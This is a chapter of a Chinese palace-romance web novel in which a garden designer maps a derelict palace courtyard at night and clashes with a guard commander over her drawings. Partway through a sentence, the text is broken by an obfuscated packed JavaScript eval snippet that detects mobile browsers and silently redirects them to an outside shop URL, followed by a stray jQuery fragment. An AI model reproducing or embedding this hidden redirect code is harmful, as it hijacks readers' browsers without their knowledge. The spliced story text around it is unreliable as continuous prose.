秋阑宽慰道:“有缘则聚,无缘则散,姐姐不必过于执着留住生命中来往的每一个人。”
祝清宴叹了口气点点头道:“我明白,现在只盼在宫中能安稳度日,为父亲洗刷冤屈,找出幕后黑手。”
她决意将宫中小苑建造得无人能及,让所有人——包括他,都知道,她从不是靠谁,靠的从来都是自己。
祝清宴打定主意连夜绘制小苑地形图,便提了一盏宫灯与秋阑摸黑前往。
二人推开小苑已有些腐朽的木门,吱呀一声轻响,在寂静的黑夜中似是被无限放大,牵出悠长回音,内侧一道垂花门勉强留着形制,只是漆皮早已剥落,垂莲柱上雕花蒙尘。
步入院内只见残草没径,旧石横斜,檐角蛛网轻垂,一派萧瑟。
祝清宴眼底不见半分嫌弃,反倒亮了几分,像是见到了待琢的璞玉。
她沿着苑墙缓步而行,时而驻足,俯身轻触脚下泥土,辨其干湿软硬;时而抬眼,打量四面方位,想着白日里需再跑一次,记录日照长短、风向来去。
廊下几株老木歪斜生长,她伸手丈量枝干间距,心中暗自勾勒出花木移位后的格局。
向西侧院墙望去,见那处有一道窄小便门,只是门板歪斜,既不雅观,又碍视线。
她指尖轻触墙面,沉吟片刻:此处倒是不必再设木门,不如拆去旧框,改作月洞门,圆洞映竹,门即成景,人从门中过,移步异景,别有意趣。至于垂花门,不必重修得太过张扬,只将朽木更换后略补清漆即可,保留几分古朴反倒与这小苑的幽静更为契合。
祝清晏瞧了瞧小苑的地势起伏,见总体地势较低,若是不遇干旱之年,雨水较为丰沛,想必小苑内雨水汇集是常态,而园林最怕积水、烂根、泥泞。
“秋阑,我想从前小苑内草木无法存活应是水涝之故,你瞧这泥,太过松软。”祝清晏扶着一旁的石榴树道。
秋阑疑惑道:“宫中巧匠不胜枚举,照理说不会有排水不畅的情况啊。”
二人绕着苑墙又走了几步,在西北角草丛深处发现一处集水点,想是用来排水之用,看来工匠果然没有遗漏这个问题,只是苑中土壤何故如此松软呢?
她仍是怀疑排水工作出了纰漏,心中隐隐觉得有些奇怪,古人的智慧她是知道的,更何况这是宫中园林,不可能这点小问题都无法根治啊,难道是底下的排水管出现了什么问题?得找几个工匠翻土看看较为稳妥。
祝清晏心中已有大致的构想,怕回去遗忘便干脆坐在石头上拿出图纸想先勾勒出地形,秋阑抬手替她掌灯。
不知过了多久,祝清晏感觉自己的双腿有些刺痛感传来,便缓缓动了动筋骨搀着秋阑的手站起身,见地形图画得差不多了便准备回苑囿司进一步细化。
二人迈出小苑关上木门,秋阑见周围黢黑一片心中有些惴惴不安,扶着祝清晏的手紧了紧。
祝清晏安抚道:“无妨,此处应该是宫中较为偏远之地,人迹罕至,因而入夜后并无烛火。不过皇宫之中戒备森严,不会有危险的,我们放心走便是。”
二人相伴虽说镇定些,但前方黑路漫漫宫灯似是照不到尽头,两侧树影张牙舞爪,风一吹便沙沙作响,二人脚步不禁放轻,每一步都像踩在虚处一般没有着落。
祝清晏虽说胆大却也忍不住心里发毛,这时一阵大风卷过,她怀里的图纸猛地被掀飞,散落一地,二人慌忙去捡,数了数却发现少了一张,遂又举着宫灯四处查看。
祝清晏在前边一丛灌木下发现图纸,她三步并作两步地过去,正当她要蹲下身捡时,却被一道身影抢先一步按住图纸捡起。
祝清晏站起身正要道谢,抬眼一看发觉竟又是他。
她勾起的嘴角复又放下,只冷着脸色沉默地伸出手,示意王廷璋将图纸交还于自己。
王廷璋也是一言不发,他将图纸理平,指尖不经意抚过上边的纹路,心头不觉一紧。
祝清晏不耐道:“劳驾王统领还臣女图纸。”
王廷璋被她的语气一刺,话到嘴边竟硬生生拐个弯,字字裹着冰渣:“宫中历来有铁律,宫禁重地,格局舆图、地盘尺寸、殿宇方位皆属机要,不得私绘、私藏、私传,否则以窥伺宫禁、暗通关节论罪。”
“我若不仔细查验,怎知祝司苑是否私绘宫图?”
祝清晏感觉自己的耐心正在耗尽的边缘,她咬牙切齿道:“看吧看吧看吧!你最好去皇上那告罪于我!等我被治罪你就得意了!“
秋阑听出两人现在正斗气,怕到时引起别人注意就不好了,便出言解释道:“王统领,祝司苑也是奉皇上的旨意,为改造宫中年久失修的小苑才深夜到此,切勿误会才是。”
“秋阑,不必与他多言!我们走,他要治罪尽管来找便是!”说罢拉着曹秋阑的手便拂袖而去。
王廷璋知道自己方才字字如刀,句句伤人,他自己也不明白为何要咄咄逼人,是想让她服软吗?不对,相识以来他便知道祝清晏是个外软内硬的人,他明明是想向她问清楚一些事才来的,可看到她眼圈泛红、唇瓣紧闭负气离去的样子却什么也说不出口了。
祝清晏紧握图纸疾步如飞,见秋阑被她带得差点绊了一跤才回过神放慢脚步。
“这王廷璋真是越来越过分了!变着法地找我麻烦,脑子被驴踢了吧他!”祝清晏怒不可遏道。“一天内被他气到两次,真是倒霉透顶。”
秋阑笑笑道:“方才见他似乎也被气得不轻,你俩真是针尖对麦芒,成了欢喜冤家——”
未待秋阑说完,祝清晏便抬手打断道:“停——什么欢喜冤家,我和他,只能是冤家!”
“好好好,我不提他就是了。”秋阑赔笑道。
她们挽着手边聊边走,渐渐靠近正路,光亮也多了起来,隐隐还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299343|198625||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
传来宫女太监急匆匆赶路的脚步声,二人松了口气,朝着苑囿司的方向走去。
王廷璋面色冷峻地出宫回到王大人府中,见前几日来过的县令李大人正坐在前厅与王大人喝茶说话。
他上前行礼道:“见过李大人。叔父,我回来了。”
李大人点点头满意笑道:“听闻廷璋这些年在宫中办事得力,深得圣上信任,将来定是前途无量啊,王大人有此等贤侄真是好福气。”
王廷璋欠身道:“皇恩浩荡无以为报,不求其他,只尽心为皇上办事罢了,李大人谬赞了。”
“我那个世侄女若是有你这般谦逊,倒也放心了,只可惜……”李大人叹了口气道。
王廷璋复又想起几日前李大人与叔父的对话。
王大人那日对着李大人赞许道:“李大人真是知人善任,没想到祝姑娘年纪轻轻造园技艺甚是了得,济世园建成不仅解了丽县百姓燃眉之急,又为稽州免了后顾之忧,圣上可是高兴得很啊!”
李大人无奈笑道:“我这世侄女自幼跟着她爹出入园林,深得真传,只是自小家境平平,她又性子极强,一心想做出一番大事业,她爹走后,更是一心扑在造园上,做梦都想掌管一处大工程。”
李大人拿起茶盏浅啜一口复道:“这济世园的差事我原不敢轻易交付予她,只是前些日子她三番五次来找下官,软磨硬泡想尽办法,就为求这一份差事,下官拗不过,又想着与她爹多年交情,现在她们孤儿寡母的实在可怜得紧,这才勉强给了她这个机会。幸好她也算不负所托,不然下官可真要以死谢罪了。”
“皇上如今召她进宫司职,我只盼她切不可因为贪图功名利禄而有负圣恩。”说到最后,李大人语气里多了几分恨铁不成钢般的无奈。
王大人有些不可置信道:“她既已入宫,就看她自己的造化了。”
王廷璋当时在一旁听到这番话如遭雷击,他对祝清晏在济世园中尽心竭力的样子记忆犹新,无论是对丽县百姓,还是造园工匠,她总是和和气气的,虽然开始时训斥过几个人,那也是因为对方行事挑衅在先,她做事有理有据从不高高在上,这与李大人口中那个心机颇深的女子判若两人。
可他转念却又想到自己曾在王府门口抓到她承认教小孩子背打油诗四处传诵的场景,她的确为了达到自己的目的耍尽小聪明,难道这才是真实的她吗?
王廷璋心头乱作一团,思绪万千,翻涌不休。
那日李大人的话字字句句扎在心上,挥之不去,闷得他连呼吸都带着涩意。
而今晚李大人的到来让他再一次烦闷不已,他不愿再听下去,微微欠身行礼,道自己今日身体不适,先回房休息便离开了。
翌日晨光熹微,清宴秋阑二人便领着几位在宫中造园多年手艺稳妥的工匠,往那处偏僻小苑而去,她想先翻出原本的排水陶管看看是否出现问题。